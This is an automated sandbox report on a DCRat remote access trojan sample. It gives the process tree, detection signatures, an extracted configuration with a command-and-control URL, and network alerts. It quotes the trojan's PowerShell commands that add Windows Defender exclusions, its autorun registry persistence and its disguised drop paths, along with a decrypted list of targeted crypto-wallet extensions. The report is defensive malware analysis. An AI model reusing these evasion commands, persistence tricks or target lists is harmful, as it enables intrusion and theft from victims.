Edit tour

Windows Analysis Report
01YP9Lwum8.exe

Overview

General Information

Sample name:	01YP9Lwum8.exe renamed because original name is a hash value
Original sample name:	31c3f45b0054b2592dfbe98cc2b2ae6f.exe
Analysis ID:	1540772
MD5:	31c3f45b0054b2592dfbe98cc2b2ae6f
SHA1:	b3b09b956a490a2558ffd7a5bd75cad36198ad85
SHA256:	d0fd0bf712a82cff8a13381300b480c0f792f94e846f729ea787fa901ffe1805
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected DCRat

.NET source code contains potential unpacker

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: System File Execution Location Anomaly

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Process Start Locations

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

01YP9Lwum8.exe (PID: 4320 cmdline: "C:\Users\user\Desktop\01YP9Lwum8.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

csc.exe (PID: 6236 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6944 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4E71.tmp" "c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7452 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7464 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7480 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7524 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7576 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 9528 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7596 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7628 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7652 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7664 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7688 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7704 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7716 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7836 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7860 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7912 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7928 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7988 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8284 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8904 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 5064 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

IMiOGCAyeLWFuBBcn.exe (PID: 9412 cmdline: "C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

IMiOGCAyeLWFuBBcn.exe (PID: 764 cmdline: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

IMiOGCAyeLWFuBBcn.exe (PID: 560 cmdline: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

01YP9Lwum8.exe (PID: 8044 cmdline: C:\Users\user\Desktop\01YP9Lwum8.exe MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

01YP9Lwum8.exe (PID: 8080 cmdline: C:\Users\user\Desktop\01YP9Lwum8.exe MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

explorer.exe (PID: 8312 cmdline: C:\Windows\Tasks\explorer.exe MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

explorer.exe (PID: 8588 cmdline: C:\Windows\Tasks\explorer.exe MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

cmd.exe (PID: 10044 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 10080 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

IMiOGCAyeLWFuBBcn.exe (PID: 5296 cmdline: "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

01YP9Lwum8.exe (PID: 9276 cmdline: "C:\Users\user\Desktop\01YP9Lwum8.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

IMiOGCAyeLWFuBBcn.exe (PID: 9460 cmdline: "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

01YP9Lwum8.exe (PID: 9608 cmdline: "C:\Users\user\Desktop\01YP9Lwum8.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

IMiOGCAyeLWFuBBcn.exe (PID: 8596 cmdline: "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe" MD5: 31C3F45B0054B2592DFBE98CC2B2AE6F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn", "MUTEX": "DCR_MUTEX-4YOhKPWwynFGpu6pKOfm", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
01YP9Lwum8.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\Tasks\explorer.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1678955893.0000000000D42000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 01YP9Lwum8.exe PID: 4320	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.01YP9Lwum8.exe.d40000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe", CommandLine: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe", CommandLine|base64offset|contains: , Image: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe, NewProcessName: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe, OriginalFileName: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe", ProcessId: 764, ProcessName: IMiOGCAyeLWFuBBcn.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\01YP9Lwum8.exe, ProcessId: 4320, TargetFilename: C:\Windows\Tasks\explorer.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\01YP9Lwum8.exe", ParentImage: C:\Users\user\Desktop\01YP9Lwum8.exe, ParentProcessId: 4320, ParentProcessName: 01YP9Lwum8.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 7452, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Windows\Tasks\explorer.exe, CommandLine: C:\Windows\Tasks\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Tasks\explorer.exe, NewProcessName: C:\Windows\Tasks\explorer.exe, OriginalFileName: C:\Windows\Tasks\explorer.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\Tasks\explorer.exe, ProcessId: 8312, ProcessName: explorer.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\01YP9Lwum8.exe, ProcessId: 4320, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IMiOGCAyeLWFuBBcn

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\01YP9Lwum8.exe, ProcessId: 4320, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\01YP9Lwum8.exe", ParentImage: C:\Users\user\Desktop\01YP9Lwum8.exe, ParentProcessId: 4320, ParentProcessName: 01YP9Lwum8.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline", ProcessId: 6236, ProcessName: csc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Process Start Locations

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: C:\Windows\Tasks\explorer.exe, CommandLine: C:\Windows\Tasks\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Tasks\explorer.exe, NewProcessName: C:\Windows\Tasks\explorer.exe, OriginalFileName: C:\Windows\Tasks\explorer.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\Tasks\explorer.exe, ProcessId: 8312, ProcessName: explorer.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\01YP9Lwum8.exe, ProcessId: 4320, TargetFilename: C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\01YP9Lwum8.exe", ParentImage: C:\Users\user\Desktop\01YP9Lwum8.exe, ParentProcessId: 4320, ParentProcessName: 01YP9Lwum8.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 7452, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\01YP9Lwum8.exe", ParentImage: C:\Users\user\Desktop\01YP9Lwum8.exe, ParentProcessId: 4320, ParentProcessName: 01YP9Lwum8.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline", ProcessId: 6236, ProcessName: csc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T06:07:38.480348+0200	2048095	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	80	TCP
2024-10-24T06:08:26.403112+0200	2048095	1	A Network Trojan was detected	192.168.2.4	49869	188.114.97.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 01YP9Lwum8.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat	Avira: detection malicious, Label: BAT/Delbat.C

Found malware configuration

Source: 0.0.01YP9Lwum8.exe.d40000.0.unpack

Malware Configuration Extractor: DCRat {"C2 url": "http://77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn", "MUTEX": "DCR_MUTEX-4YOhKPWwynFGpu6pKOfm", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe	ReversingLabs: Detection: 73%
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Desktop\FQJMKusv.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\GxmnOonm.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\IWZmSUOS.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\MMQdZROL.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\TegMjxUT.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\UKABrbpL.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\ozbgygOD.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\qKxhyytD.log	ReversingLabs: Detection: 29%
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\Tasks\explorer.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: 01YP9Lwum8.exe	ReversingLabs: Detection: 73%
Source: 01YP9Lwum8.exe	Virustotal: Detection: 64%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 01YP9Lwum8.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 01YP9Lwum8.exe	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"System drive"}}
